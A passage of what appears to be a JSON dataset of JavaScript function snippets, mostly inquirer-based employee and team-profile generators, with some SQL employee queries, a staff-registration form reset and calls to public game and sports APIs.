\"m_engineer_visible_name\",\n\t\t\t\"tel\": \"m_engineer_tel\",\n\t\t\t\"mail1\": \"m_engineer_mail1\",\n\t\t\t\"mail2\": \"m_engineer_mail2\",\n\t\t\t\"birth\": \"m_engineer_birth\",\n\t\t\t\"gender\": \"m_engineer_gender_container\",\n\t\t\t\"state_work\": \"m_engineer_state_work\",\n\t\t\t\"age\": \"m_engineer_age\",\n\t\t\t\"fee\": \"m_engineer_fee\",\n\t\t\t\"station\": \"m_engineer_station\",\n\t\t\t\"skill\": \"m_engineer_skill\",\n\t\t\t\"note\": \"m_engineer_note\",\n\t\t\t\"internal_note\": \"m_engineer_internal_note\",\n\t\t\t\"charging_user_id\": \"m_engineer_charging_user_id\",\n\t\t\t\"employer\": \"m_engineer_employer\",\n\t\t\t\"operation_begin\": \"m_engineer_operation_begin\",\n\t\t\t// \"addr_vip\": \"m_engineer_addr_vip\",\n\t\t\t// \"addr1\": \"m_engineer_addr1\",\n\t\t\t// \"addr2\": \"m_engineer_addr2\",\n\t\t});\n\t// [begin] Clear fields.\n\tvar textSymbols = [\n\t\t\"#m_engineer_client_id\",\n\t\t\"#m_engineer_client_name\",\n\t\t\"#m_engineer_name\",\n\t\t\"#m_engineer_kana\",\n\t\t\"#m_engineer_visible_name\",\n\t\t\"#m_engineer_tel\",\n\t\t\"#m_engineer_mail1\",\n\t\t\"#m_engineer_mail2\",\n\t\t\"#m_engineer_birth\",\n\t\t\"#m_engineer_age\",\n\t\t\"#m_engineer_fee\",\n\t\t\"#m_engineer_station\",\n\t\t\"#m_engineer_state_work\",\n\t\t\"#m_engineer_employer\",\n\t\t/*\n\t\t\"#m_engineer_dt_assignable\",\n\t\t*/\n\t\t\"#m_engineer_note\",\n\t\t\"#m_engineer_internal_note\",\n\t\t\"#attachment_id_0\",\n\t\t\"#attachment_label_0\",\n\t\t\"#m_engineer_skill\",\n\t\t\"#m_engineer_operation_begin\",\n\t\t\"#m_engineer_station_cd\",\n\t\t\"#m_engineer_station_pref_cd\",\n\t\t\"#m_engineer_station_line_cd\",\n\t\t\"#m_engineer_station_lon\",\n\t\t\"#m_engineer_station_lat\",\n\t\t// \"#m_engineer_addr_vip\",\n\t\t// \"#m_engineer_addr1\",\n\t\t// \"#m_engineer_addr2\",\n\t];\n\tvar checkSymbols = [\n\t\t\"#m_engineer_flg_caution\",\n\t\t\"#m_engineer_flg_registered\",\n\t\t\"#m_engineer_flg_assignable\",\n\t\t\"#m_engineer_flg_public\",\n\t\t\"#m_engineer_web_public\",\n\t\t\"#m_engineer_flg_careful\",\n\t];\n\tvar comboSymbols = [\n\t\t\"#m_engineer_contract\",\n\t];\n\tvar radioSymbols = [\n\t\t\"[name=m_engineer_gender_grp]\",\n\t];\n\tvar i;\n\tfor (i = 0; i < textSymbols.length; i++) {\n\t\t$(textSymbols[i]).val(null);\n\t}\n\tfor (i = 0; i < checkSymbols.length; i++) {\n\t\t$(checkSymbols[i])[0].checked = false;\n\t}\n\tfor (i = 0; i < comboSymbols.length; i++) {\n\t\t$(comboSymbols[i])[0].selectedIndex = 0;\n\t}\n\tfor (i = 0; i < radioSymbols.length; i++) {\n\t\t$(radioSymbols[i])[0].checked = true;\n\t}\n\t$(\"#m_engineer_id\").val(null);\n\t$(\"#m_engineer_flg_registered\")[0].checked = true;\n\t$(\"#m_engineer_flg_assignable\")[0].checked = true;\n\t$(\"#m_engineer_flg_public\")[0].checked = false;\n\t$(\"#m_engineer_web_public\")[0].checked = false;\n\t$(\"#m_engineer_flg_careful\")[0].checked = false;\n\t$(\"#m_engineer_charging_user_id\").val(env.userInfo.id);\n\t$('[name=\"m_engineer_skill_level[]\"]').each(function (idx, el) {\n\t\tel.selectedIndex = 0;\n\t});\n\t$('[name=\"m_engineer_skill[]\"]').each(function (idx, el) {\n\t\tel.checked = false;\n\t});\n\tviewSelectedEngineerSkill();\n\t$('[name=\"m_engineer_occupation[]\"]').each(function (idx, el) {\n\t\tel.checked = false;\n\t});\n\t// [end] Clear fields.\n\tsetEngineerMenuItem(0, 0, null, null);\n\t$(\"#es\").val(0);\n\t$(\"#edit_engineer_modal_title\").replaceWith($(\"<span id='edit_engineer_modal_title'>新規要員登録</span>\"));\n\tdeleteEngineerAttachment(0);\n\t$(\"#edit_engineer_modal\").modal(\"show\");\n\t$('#m_engineer_client_id').select2({allowClear: true});\n\t$(\"#m_engineer_skill_container\").html(\"<span style='color:#9b9b9b;'>java(3年~5年),PHP(1年~2年)</span>\");\n\t$('#m_skill_sort')[0].checked = false\n\tskill_id_list = '';\n\tskill_level_list = [];\n}", "function createEngineer() {\n inquirer.prompt(engineerQuestions)\n .then(({ name, emailID, employeeId, github}) => {\n const engineer = new Engineer(name, \"Engineer\", emailID, employeeId, github)\n teamMembers.push(engineer);\n buildTeam();\n })\n}", "function InternInfo() {\n inquirer.prompt(internQues).then(function (data) {\n const intern = new Intern(data.name, employeeID, data.email, data.school);\n employeeID++;\n employeeList.push(intern);\n checkEmployeeType(data.type);\n });\n}", "function getBeerData() {\n let data = FooBar.getData();\n beers = JSON.parse(data).beertypes;\n //This is for Section 5: \n beerInfo();\n}", "function getOffers(app) {\n var city = app.getArgument(PARAMETER_City);\n var region = app.getArgument(PARAMETER_Region);\n var dept = app.getArgument(PARAMETER_Dept);\n var type = app.getArgument(PARAMETER_Type);\n\n if (!city && !region && !dept && !type) {\n app.ask(RESPONSE_NOT_ENOUGH_INFO)\n }\n\n //Getting data from database\n dataGetter(city, dept, region, type)\n .catch(err => {\n console.log(err);\n })\n .then(res => {\n //There is a different output if only audio is available\n if (app.hasSurfaceCapability(app.SurfaceCapabilities.SCREEN_OUTPUT)) {\n handleAnswerOnScreen(res, app);\n } else if (app.hasSurfaceCapability(app.SurfaceCapabilities.AUDIO_OUTPUT)) {\n handleAnswerNoScreen(res, app);\n } else {\n handleNotAOG(res, app);\n }\n })\n}", "function addEngineer() {\n inquirer\n .prompt([\n questions[5], questions[6], questions[7], questions[8]\n ])\n .then(answers => {\n const engineer = new Engineer(answers.name, answers.id, answers.email, answers.github);\n teamMembers.push(engineer);\n idArray.push(answers.id);\n chooseTeam();\n });\n}", "_getClientDetails() {\n // parse search parameters in URL\n let query = location.search.substr(location.search.indexOf(\"?\") + 1).split(\"&\"),\n queries = {};\n\n for (let i = 0; i < query.length; i++) {\n queries[query[i].substr(0, query[i].indexOf(\"=\"))] = query[i].substr(query[i].indexOf(\"=\") + 1);\n }\n\n this.playerName = queries.name || \"p\" + Date.now();\n this.hostName = queries.join;\n }", "function appendEngineer(name, id, email, specific) {\n html = new EngineerHTML(name, id, email, specific);\n fs.appendFile(\"./output/index.html\", html.getCode(), (err) => {\n if (err) throw err;\n });\n}", "function getDetails() {\n\n}", "function getTrainer(req, res) {\n var username = req.query.username || null;\n trainerService.getTrainer(username, function(error, trainers) {\n if (error) {\n res.status('400');\n return res.send(err);\n }\n return res.send(trainers);\n })\n}", "getRetailers(params) {\n Resource.get(this).resource('Employee:getRetailers', params)\n .then(res => {\n this.displayData.retailers = res;\n });\n }", "function getEmployeeInfo(role) {\n return inquirer.prompt(getPromptByRole(role))\n .then(({ name, id, email, school, github }) => {\n let emp;\n if (role === 'Intern') {\n emp = new Intern(name, id, email, school);\n } else {\n emp = new Engineer(name, id, email, github);\n }\n\n //push new employee instances to employees array\n employees.push(emp);\n\n\n })\n}", "function getEmailAgent(params){\n\n}", "async function createEngineer() {\n const rEngineer = await inquirer.prompt(masterQuestions.engineer);\n const engineer = new Engineer(rEngineer.engineerName, rEngineer.engineerId, rEngineer.engineerEmail, rEngineer.engineerGithub);\n\n teamArray.push(engineer);\n idArray.push(engineer.getId());\n console.log(`Successfully added engineer: ${engineer.getName()}`);\n await confirmTeam();\n}", "get engineDescription() {\n return this.getStringAttribute('engine_description');\n }", "function askEngineerQuestions() {\n inquirer\n .prompt(engineerQuestions)\n\n .then(response => {\n // Instantiates a new engineer and calls the function to write their HTML\n const engineer = new Engineer (response.name, response.id, response.email, response.gitHub);\n generateEngineerHTML(engineer);\n if (response.role === \"Engineer\"){\n askEngineerQuestions();\n }\n else if (response.role === \"Intern\"){\n askInternQuestions();\n }\n else writeToHTML();\n })\n}", "function addEngineer (name, id, email) {\n inquirer\n // User input prompts\n .prompt([\n {\n type: \"input\",\n message: \"What is this team member's GitHub username?\",\n name: \"githubUser\",\n },\n ])\n // Evaluate user input (response)\n .then(response => {\n // create a new instance of a Engineer object type passing user input as arguments into constructor\n const employeeEngineer = new Engineer(name, id, email, response.githubUser);\n // Add this Engineer person object to the team array\n team.push(employeeEngineer);\n // call function that prompts if user done or wants to add another employee\n addAnother();\n })\n}", "function addEngineer() {\n inquirer.prompt([\n {\n type: \"input\",\n name: \"name\",\n message: \"What is your engineer's name?\",\n },\n {\n type: \"input\",\n name: \"id\",\n message: \"What is your engineer's id?\",\n },\n {\n type: \"input\",\n name: \"email\",\n message: \"What is your engineer's email?\",\n },\n {\n type: \"input\",\n name: \"github\",\n message: \"What is your engineer's GitHub username?\",\n }]).then(answers => {\n const engineer = new Engineer(answers.name, answers.id, answers.email, answers.github) \n teamMembers.push(engineer);\n generateEngineerHTML(engineer);\n createTeam();\n\n });\n \n\n }", "listDesigners(key) {\n return this.httpClient.get(this.relativePath(key, '/teams/designer/members'));\n }", "function engineerPrompt() {\n inquirer\n .prompt([\n { type: \"input\", message: \"Enter Employee Name:\", name: \"employeeName\" },\n {\n type: \"input\",\n message: \"Enter Employee ID:\",\n name: \"employeeID\",\n },\n {\n type: \"input\",\n message: \"Enter Employee Email:\",\n name: \"employeeEmail\",\n },\n {\n type: \"input\",\n message: \"Enter Employee Github URL:\",\n name: \"employeeGithub\",\n },\n ])\n .then((response) => {\n createEngineer(\n response.employeeName,\n response.employeeID,\n response.employeeEmail,\n response.employeeGithub\n );\n mainMenu();\n });\n}", "function getAuthors() {\n\tvar snippet = {\n\t\tfields: \"name,about,thumbnail\"\n\t}\n\trimer.author.find(snippet, function(error, value) {\n\t\tif(error) {\n\t\t\tconsole.log(error)\n\t\t}\n\t\telse {\n\t\t\tconsole.log(value)\n\t\t}\n\t})\n}", "function getEmployee() {\n inquirer.prompt(\n [...questions]\n )\n .then ((data) => {\n try {\n //Apply relevant classes to data, push teammember objects to employees array\n let teamMember;\n if (data.employee_type === \"Manager\") {\n let name = data.name;\n let id = data.id;\n let email = data.email;\n let officeNumber = data.officeNumber;\n teamMember = new Manager (name, id, email, officeNumber);\n employees.push(teamMember);\n\n } else if (data.employee_type === \"Engineer\") {\n let name = data.name;\n let id = data.id;\n let email = data.email;\n let github = data.github;\n teamMember = new Engineer (name, id, email, github);\n employees.push(teamMember);\n } else {\n let name = data.name;\n let id = data.id;\n let email = data.email;\n let school = data.school;\n teamMember = new Intern (name, id, email, school);\n employees.push(teamMember);\n\n };\n //ask users if they want to add more team members\n inquirer.prompt(\n [{\n name:\"add_more\",\n type:\"list\",\n message:\"Would you like to add another team member?\",\n choices:[\"Yes\", \"No\"]\n },\n ]\n )\n .then ((data) => {\n //if statement to end inquirer and call function to render data if 'no'\n //chosen, or redirect to questions if more employees need to be added\n if (data.add_more === 'No') {\n pushAnswersToRender(employees);\n } else {\n getEmployee();\n }\n })\n } catch (error) {\n console.log(error);\n }\n }); \n }", "function getEmployeeInfo(assignee, infolabel){\n\t//nlapiLogExecution('Debug' , 'START: getEmployeeInfo()', assignee);\n\ttry {\n\t\tvar emp= nlapiLoadRecord('employee', assignee);\n\t//\tnlapiLogExecution('Debug', 'getEmployeeInfo()' + infolabel, emp.getFieldValue('email'));\n\t\tvar info = new Array();\n\t\tinfo[0] = emp.getFieldValue('email');\n\t\tinfo[1] = emp.getFieldValue('firstname');\n\t\tinfo[2] = emp.getFieldValue('lastname');\n\t\tinfo[3] = emp.getFieldValue('phone');\n\t\tinfo[4] = emp.getFieldValue('department');\n\t\tinfo[5] = emp.getFieldValue('location');\n\t\t\n\t\t\n\t\t\n\t\tif (info[0] ==null){\n\t\t\tinfo[0] = '';\n\t\t} \n\t\tif (info[1] ==null){\n\t\t\tinfo[1] = '';\n\t\t} \n\t\tif (info[2] ==null){\n\t\t\tinfo[2] = '';\n\t\t} \n\t\t//nlapiLogExecution('Debug' , 'Complete: getEmployeeInfo()', info[0]);\n\t\treturn info;\n\t}\n\tcatch (e){\n\t\tnlapiLogExecution('Error', 'getEmployeeInfo(): Unable to get employee info' + infolabel, assignee+ e.getDetails());\n\t\treturn new Array('','','','');\n\t}\t\n}", "employeeInfo() {\n return connection.query(`SELECT ee.id, ee.first_name, ee.last_name, er.title, ed.dept_name, er.salary, CONCAT(em.first_name,' ',em.last_name) as manager\n FROM employees_db.employee as ee\n LEFT JOIN employees_db.role as er\n ON ee.role_id = er.id\n LEFT JOIN employees_db.department as ed\n ON er.department_id = ed.id\n LEFT JOIN employees_db.employee as em\n on ee.manager_id = em.id`)\n }", "async function newEngineer() {\n\tconst input = await inquirer.prompt([\n\t\t{\n\t\t\ttype: \"input\",\n\t\t\tname: \"name\",\n\t\t\tmessage: \"What is the name of this engineer?\"\n\t\t},\n\t\t{\n\t\t\ttype: \"input\",\n\t\t\tname: \"id\",\n\t\t\tmessage: \"What is this engineer's employee ID number?\"\n\t\t},\n\t\t{\n\t\t\ttype: \"input\",\n\t\t\tname: \"email\",\n\t\t\tmessage: \"What is this engineer's email address?\"\n\t\t},\n\t\t{\n\t\t\ttype: \"input\",\n\t\t\tname: \"github\",\n\t\t\tmessage: \"What is this engineer's Github profile name?\"\n\t\t}\n\t]);\n\tconst engineer = new Engineer(\n\t\tinput.name,\n\t\tinput.id,\n\t\tinput.email,\n\t\tinput.github\n\t);\n\tteamArray.push(engineer);\n\tnewTeam();\n}", "function engineerPrompt(data) {\n inquirer\n .prompt([\n {\n type: 'input',\n name: 'github',\n message: \"Please provide the engineer's GitHub username.\",\n validate: input => {\n if (input) {\n return true;\n } else {\n console.log('Please provide a GitHub username.');\n return false;\n }\n }\n }\n ])\n .then((answer) => {\n const { name, id, email, role } = data;\n const { github } = answer;\n const engineer = new Engineer(name, id, email, role, github);\n employeeArr.push(engineer);\n })\n .then( () => {\n launchApp();\n });\n}", "function getAttendeeDetails() {\n api.getAttendeeDetails($scope.attendee.id, function(d) {\n $scope.attendee.fullName = d.attendees.fullName;\n $scope.attendee.dateJoined = d.attendees.dateJoined;\n $scope.attendee.messages = d.attendees.messages;\n $scope.attendee.phoneNumber = d.attendees.phoneNumber;\n });\n }", "function getGameInfo() {\n limiter.request({\n url: `https://global.api.pvp.net/api/lol/static-data/euw/v1.2/champion?champData=all&${api}`,\n method: 'GET',\n json: true,\n }, (error, response) => {\n if (!error && response.statusCode === 200) {\n champions = response.body.data;\n version = response.body.version;\n console.log(champions);\n }\n if (error) {\n throw new Error('Cannot connect to Riot API');\n }\n });\n}", "getHtmlManagerDetails(id, email, officeNumber) {\n return `\n <ul>\n <li>Employee #: ${id}</li>\n <li>Email: <a href=\"mailto: ${email}\">${email}</a></li>\n <li>Office #: ${officeNumber}</li>\n </ul>`;\n }", "startEngineer() {\n console.log('You have chosen to add an engineer to your team!')\n const engineer = new Engineer();\n inquirer\n .prompt([questions[0], questions[2], questions[4]]).then((val) => {\n this.getName(val.managerName);\n this.getID();\n this.getEMail(val.email);\n engineer.getRole(this);\n engineer.getGithub(this, val.github);\n myTeam.push(this);\n askForNext();\n });\n }", "static async getAllVolunteersAndInfo() {\n const query = `SELECT * FROM volunteers ORDER BY last_name DESC;`;\n try {\n const response = await db.result(query);\n return response;\n } catch (err) {\n console.log(\"DB ERROR: \", err.message);\n return err.message;\n }\n }", "getEmployeeClientInfo() {\n\n }", "function getEmployeeDept(){\n connection.query(queryList.deptList, function(err, res){\n if (err) throw err;\n inquirer\n .prompt([new q.queryAdd(\"department\", \"Which department is this employee in?\", res.map(dept => dept.name))])\n .then(answer => {\n let dept = res.filter(d => d.name === answer.department);\n addEmployee(dept);\n })\n .catch(err => {\n if(err) throw err;\n quit();\n });\n });\n}", "function getInfo() {\n inquirer.prompt([{\n type: 'input',\n name: \"name\",\n message: \"Employees Name\",\n validate: nameInput => {\n if (nameInput) {\n return true;\n } else {\n console.log('Please enter team member name!')\n return false;\n }\n }\n },\n {\n type: 'input',\n name: \"email\",\n message: \"what is their email address?\",\n validate: emailInput => {\n if (emailInput) {\n return true;\n } else {\n console.log('Please enter team member email!')\n return false;\n }\n }\n },\n {\n type: 'input',\n name: 'id',\n message: \"enter employee ID\",\n validate: idInput => {\n if (idInput) {\n return true;\n } else {\n console.log('Please enter a valid ID!')\n return false;\n }\n }\n },\n {\n type: 'list',\n name: 'role',\n message: \"Employee's role\",\n choices: [\"Manager\", \"Employee\", \"Engineer\", \"Intern\"]\n }\n ])\n .then(answers => {\n \n \n \n if (answers.role === 'Engineer') {\n inquirer.prompt([{\n type: 'input',\n name: 'gitHub',\n message: \"Enter Engineer's GitHub\",\n validate: gitInput => {\n if (gitInput) {\n return true;\n } else {\n console.log('Please enter a github username!')\n return false;\n }\n }\n }])\n .then(ans => {\n console.log(ans.gitHub)\n \n const theEngineer = new Engineer(answers.name, answers.email, answers.id, answers.role, ans.gitHub )\n team.push(theEngineer);\n addMore()\n })\n }else if(answers.role === 'Manager') {\n inquirer.prompt([{\n type: 'input',\n name: 'office',\n message: \"Enter Managers office number\",\n validate: officeInput => {\n if (officeInput) {\n return true;\n } else {\n console.log('Please enter managers office number!')\n return false;\n }\n }\n }])\n .then(ans => {\n console.log(ans.office)\n \n const someManager = new Manager(answers.name, answers.email, answers.id, answers.role, ans.office )\n team.push(someManager);\n addMore()\n })\n }else if(answers.role === 'Intern') {\n inquirer.prompt([{\n type: 'input',\n name: 'school',\n message: \"Enter Interns school\",\n validate: schoolInput => {\n if (schoolInput) {\n return true;\n } else {\n console.log('Please enter Interns school!')\n return false;\n }\n }\n }])\n .then(ans => {\n \n const someIntern = new Intern(answers.name, answers.email, answers.id, answers.role, ans.school )\n team.push(someIntern);\n addMore()\n })\n }else{\n const someEmployee = new Employee(answers.name, answers.email, answers.id, answers.role)\n team.push(someEmployee)\n addMore()\n }\n function addMore() {\n inquirer.prompt([{\n type: 'confirm',\n name: 'addNew',\n message: 'Would you Like to add another team member?'\n }])\n .then(res =>{\n if (res.addNew === true){\n getInfo(team)\n }else{\n console.log('team', team)\n let theCardsHTML = generatePage(team)\n writeHTML(theCardsHTML)\n \n }\n \n })\n \n }\n \n })\n}", "function createEngineer(){\n console.log(\"please add engineer info\");\n inquirer.prompt([\n {\n type: \"input\",\n name: \"engineerName\",\n message: \"what is the name of the engineer?\"\n },\n {\n type: \"input\",\n name: \"engineerId\",\n message: \"What is your engineer's ID number?\"\n },\n {\n type: \"input\",\n name: \"engineerEmail\",\n message: \"What is your engineer's email address?\"\n },\n {\n type: \"input\",\n name: \"engineerGithub\",\n message: \"What is your engineer's Github account name?\"\n }\n ]).then(answers => {\n const engineer = new Engineer (answers.engineerName, answers.engineerId, answers.engineerEmail, answers.engineerGithub);\n console.log(engineer);\n teamMembers.push(engineer);\n createTeam();\n })\n}", "function experimenter() {\n return components.experiment && components.experiment.experimenter();\n}", "function exInfos() { //returns JSON of exchange info\r\n return {\r\n version: ccxt.version,\r\n exchange: exchange.name,\r\n url: exchange.urls.www,\r\n referral: exchange.urls.referral,\r\n feeMaker: exchange.fees.trading.maker,\r\n feeTaker: exchange.fees.trading.taker,\r\n exchanges: ccxt.exchanges,\r\n markets: exchange.symbols\r\n }\r\n}", "function getenginename()\n{\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\n return webphone_api.plhandler.Getenginename();\n else\n webphone_api.Log('ERROR, webphone_api: getenginename webphone_api.plhandler is not defined');\n}", "function getUserInfo() {\n\n // Get the people picker object from the page.\n var peoplePicker = this.SPClientPeoplePicker.SPClientPeoplePickerDict.peoplePickerDiv_TopSpan;\n\n // Get information about all users.\n var users = peoplePicker.GetAllUserInfo();\n var userInfo = '';\n for (var i = 0; i < users.length; i++) {\n var user = users[i];\n for (var userProperty in user) {\n userInfo += userProperty + ': ' + user[userProperty] + '<br>';\n }\n }\n $('#resolvedUsers').html(userInfo);\n\n // Get user keys.\n var keys = peoplePicker.GetAllUserKeys();\n $('#userKeys').html(keys);\n\n // Get the first user's ID by using the login name.\n getUserId(users[0].Key);\n}", "fetchEmployee(params) {\r\n return Api().get('/employees/' + params)\r\n }", "function getAccountDetails() {\n\tvar baseUrl = getClientStore().baseURL; \n\tvar accessor = objCommon.initializeAccessor(baseUrl, cellName);\n\tvar objAccountManager = new _pc.AccountManager(accessor);\n\tvar count = retrieveAccountRecordCount();\n\tvar uri = objAccountManager.getUrl();\n\turi = uri + \"?$orderby=__updated desc &$top=\" + count;\n\tvar restAdapter = _pc.RestAdapterFactory.create(accessor);\n\tvar response = restAdapter.get(uri, \"application/json\");\n\tvar json = response.bodyAsJson().d.results;\n\treturn json;\n}", "function viewEmployees() {\n var query = \"SELECT CONCAT(employees.first_name, ' ', employees.last_name) as employee_name, roles.title, departments.name, employees.id FROM employees LEFT JOIN roles on employees.role_id = roles.id LEFT JOIN departments ON departments.id = roles.department_id \";\n con.query(query, function(err, res) {\n if (err) throw err;\n for (var i = 0; i < res.length; i++) {\n console.log(\"\\n\" + \"|| Employee: \" + res[i].employee_name + \"|| Title: \" + res[i].title + \"|| Department: \" + res[i].name + \"|| ID: \" + res[i].id);\n }\n runManager();\n });\n }", "function viewEmployees() {\n connection.query(\n \"SELECT employee.id, first_name, last_name, roles.title, department.name AS department, roles.salary FROM employee INNER JOIN roles ON employee.role_id = roles.role_id INNER JOIN department ON roles.department_id = department.department_id\",\n (err, results) => {\n if (err) throw err;\n console.log(\"\\n\");\n console.table(results);\n console.log(\"===============================\");\n console.log(\"\\n \\n \\n \\n \\n \\n \\n\");\n }\n );\n // RETURN TO MAIN LIST\n runTracker();\n}", "function generateEngineer(engineer) {\n inquirer.prompt([\n {\n name: \"engineerName\",\n type: \"input\",\n message: \"What is the Engineer's name?\"\n },\n {\n name: \"engineerId\",\n type: \"input\",\n message: \"What is the Engineer's ID number?\",\n validate: (input) => {\n if(input) {\n return true;\n } else {\n return \"Please insert a valid input.\"\n }\n }\n \n },\n \n {\n name: \"engineerEmail\",\n type: \"input\",\n message: \"What is the Engineer's email address?\",\n validate: (input) => {\n if(input){\n return true;\n } else {\n return \"Please insert a valid input.\"\n }\n }\n },\n {\n name: \"Github\",\n type: \"input\",\n message: \"What is the Engineer's gitub URL?\",\n validate: (input) => {\n if(input){\n return true;\n } else {\n return \"Please insert a valid input.\"\n }\n }\n }\n ]).then((engineerResponse) => {\n let newEngineer = new Engineer (engineerResponse.engineerName, engineerResponse.engineerId, engineerResponse.engineerEmail, engineerResponse.Github) //with the engineer class, creating a new engineer with parameters set in class\n allEmployees.push(newEngineer); //pushes new engineer to the all employees array\n // let htmlcontent = generateTeam(allEmployees) //when calls function will pass in the array of all employees\n // generatePage(response.team, htmlcontent); //taking in the strings\n extendDirectory();\n })\n \n \n}", "function getSummonerName(){\n\n}", "function fetchEnemyData() {\n return axios({\n method: \"get\",\n url: \"https://randomuser.me/api/\"\n });\n}", "function getDetails() {\n const empname = document.getElementById(\"name\").value;\n const address = document.getElementById(\"address\").value;\n const empId = document.getElementById(\"emp-id\").value;\n const desig = getDesignation();\n const feedback = document.getElementById(\"feedback\");\n return { empname, address, empId, desig, feedback }\n}", "function getAuthorById() {\n\tvar snippet = {\n\t\tquery: {\"id\": \"-K_W_cxqkjGVo8zEfLUc\"},\n\t\tfields: \"name,about,thumbnail,facebook\"\n\t}\n\trimer.author.findOne(snippet, function(error, value) {\n\t\tif(error) {\n\t\t\tconsole.log(error)\n\t\t}\n\t\telse {\n\t\t\tconsole.log(value)\n\t\t}\n\t})\n}", "function createEngineer() {\n inquirer.prompt([\n {\n type: \"input\",\n message: \"Enter Engineer's name: \",\n name: \"name\"\n }, {\n type: \"input\",\n message: \"Enter Engineer's email: \",\n name: \"email\"\n }, {\n type: \"input\",\n message: \"Enter Engineer's Github: \",\n name: \"github\"\n }\n ]).then(function (answers) {\n // Take answers and make new Engineer object, push it into the myEmployees Array\n myEmployees.push(new Engineer(answers.name, idHolder, answers.email, answers.github));\n // increment for new id number for next employee\n idHolder++;\n buildTeam();\n })\n}", "async function getLeagueDetails() {\n const league = await axios.get(\n `https://soccer.sportmonks.com/api/v2.0/leagues/${LEAGUE_ID}`,\n {\n params: {\n include: \"season\",\n api_token: process.env.api_token,\n },\n }\n );\n if (league.data.data.current_stage_id == null) {\n return {\n leagueName: league.data.data.name,\n seasonName: league.data.data.season.data.name,\n stageName: \"currently there is no stage available\",\n current_season_id: league.data.data.current_season_id,\n };\n }\n const stage = await axios.get(\n `https://soccer.sportmonks.com/api/v2.0/stages/${league.data.data.current_stage_id}`,\n {\n params: {\n api_token: process.env.api_token,\n },\n }\n );\n return {\n leagueName: league.data.data.name,\n seasonName: league.data.data.season.data.name,\n stageName: stage.data.data.name,\n current_season_id: league.data.data.current_season_id,\n };\n}", "function addEngineer() {\n inquirer.prompt([\n {\n type: \"input\", name: \"engineerName\", message: \"Enter Engineer's Name\"\n\n },\n {\n\n type: \"input\", name: \"engineerId\", message: \"Enter ID\"\n\n },\n\n {\n type: \"input\", name: \"engineerEmail\", message: \"Enter Engineer's Email Address\"\n\n },\n\n {\n type: \"input\", name: \"engineerGithub\", message: \"Enter Engineer's Github Username\"\n\n }\n\n\n ])\n\n .then(response => {\n let engineer = new Engineer(response.engineerName, response.engineerId, response.engineerEmail, response.engineerGithub)\n members.push(engineer);\n createTeam();\n\n\n\n }\n )\n}", "function viewEmpByMgr() {\n // SQL query to the db\n connection.query(\n \"SELECT CONCAT(e.first_name, ' ', e.last_name) AS Employee, r.title AS Title, r.salary AS Salary, d.name AS Department, IFNULL(CONCAT(m.first_name, ' ', m.last_name), 'NONE') AS 'Manager' FROM employee e LEFT JOIN employee m ON m.id = e.manager_id LEFT JOIN role r ON r.id = e.role_id LEFT JOIN department d ON d.id = r.department_id ORDER BY m.last_name;\",\n function (err, res) {\n if (err) throw err;\n let tableResults = [];\n for (var i = 0; i < res.length; i++) {\n var empObj = [res[i].Employee, res[i].Title, res[i].Salary, res[i].Department, res[i].Manager];\n tableResults.push(empObj);\n }\n console.clear();\n console.log(\n \" -------------------------------- \\n ALL COMPANY EMPLOYEES BY MANAGER \\n --------------------------------\"\n );\n console.table([\"Employee\", \"Title\", \"Salary\", \"Department\", \"Manager\"], tableResults);\n actions();\n }\n );\n}", "function addEngineer() {\n inquirer\n .prompt([\n {\n type: \"input\",\n message: \"Enter engineer's name:\",\n name: \"engineerName\",\n },\n {\n type: \"input\",\n message: \"Enter engineer's ID:\",\n name: \"engineerId\",\n },\n {\n type: \"input\",\n message: \"Enter engineer's e-mail:\",\n name: \"engineerEmail\",\n validate: validateEmail\n },\n {\n type: \"input\",\n message: \"Enter engineer's GitHub username:\",\n name: \"engineerGitHub\",\n },\n ])\n .then((data) => {\n let engineer = new Engineer(\n data.engineerName,\n data.engineerId,\n data.engineerEmail,\n data.engineerOffice\n );\n employeeArr.push(engineer);\n loop();\n });\n}", "getRole() {\n return \"Engineer\";\n }", "function enterEngineer(){\n inquirer.prompt([\n {\n type: \"input\",\n name: \"name\",\n message: \"What is your engineer's name?\",\n validate: catchEmpty\n },\n {\n type: \"input\",\n name: \"id\",\n message: \"what is their employee id?\",\n validate: checkId \n },\n {\n type: \"input\",\n name: \"email\",\n message: \"what is their work email?\",\n validate: emailValidate\n },\n {\n type: \"input\",\n name: \"github\",\n message: \"what is their Github username?\",\n validate: catchEmpty\n }\n ])\n .then(input => {\n const engineer = new Engineer(input.name, input.id, input.email, input.github);\n teamTotal.push(engineer);\n addTeamMember();\n })\n}", "function viewEmpByDept() {\n // SQL query to the db\n connection.query(\n \"SELECT CONCAT(e.first_name, ' ', e.last_name) AS Employee, r.title AS Title, r.salary AS Salary, d.name AS Department, IFNULL(CONCAT(m.first_name, ' ', m.last_name), 'NONE') AS 'Manager' FROM employee e LEFT JOIN employee m ON m.id = e.manager_id LEFT JOIN role r ON r.id = e.role_id LEFT JOIN department d ON d.id = r.department_id ORDER BY d.name;\",\n function (err, res) {\n if (err) throw err;\n let tableResults = [];\n for (var i = 0; i < res.length; i++) {\n var empObj = [res[i].Employee, res[i].Title, res[i].Salary, res[i].Department, res[i].Manager];\n tableResults.push(empObj);\n }\n console.clear();\n console.log(\n \" ----------------------------------- \\n ALL COMPANY EMPLOYEES BY DEPARTMENT \\n -----------------------------------\"\n );\n console.table([\"Employee\", \"Title\", \"Salary\", \"Department\", \"Manager\"], tableResults);\n actions();\n }\n );\n}", "printEmployee() {\n // get employee information\n dbFunctions.employeeInfo()\n // show results in console\n .then((results) => {\n console.table(results)\n startManagement()\n })\n }", "function internInfo() {\n inquirer.prompt(internQuestions).then((response) => {\n const newInt = new Intern(\n response.name,\n response.id,\n response.email,\n response.school\n );\n employees.push(newInt);\n employeeSelect();\n });\n}", "async list() {\n try {\n const response = await Api('employee', { method: 'GET' });\n return response;\n } catch (errors) {\n return {\n errors,\n messages: [],\n };\n }\n }", "async getInfoById(ctx) {\n const {\n id\n } = ctx.request.body;\n\n await db.teacher.findOne({\n id\n }, {\n password: 0,\n _id: 0,\n __v: 0\n })\n .then(docs => {\n ctx.body = {\n code: 1,\n data: docs\n };\n });\n }", "function getInfo() {\n fetch(TRAINERS_URL)\n .then(response => response.json())\n .then(json => makeCard(json.data))\n}", "function getSummonerLeague(summoner, callback)\n{\n // Summary info\n irelia.getLeagueBySummonerId(summoner.region, summoner.id, function (err, summonerLeague) {\n if(err) {\n // Play catch\n callback({status: 'error', data: err});\n console.log(err);\n } else {\n // Play catch\n callback({status: 'success', data: 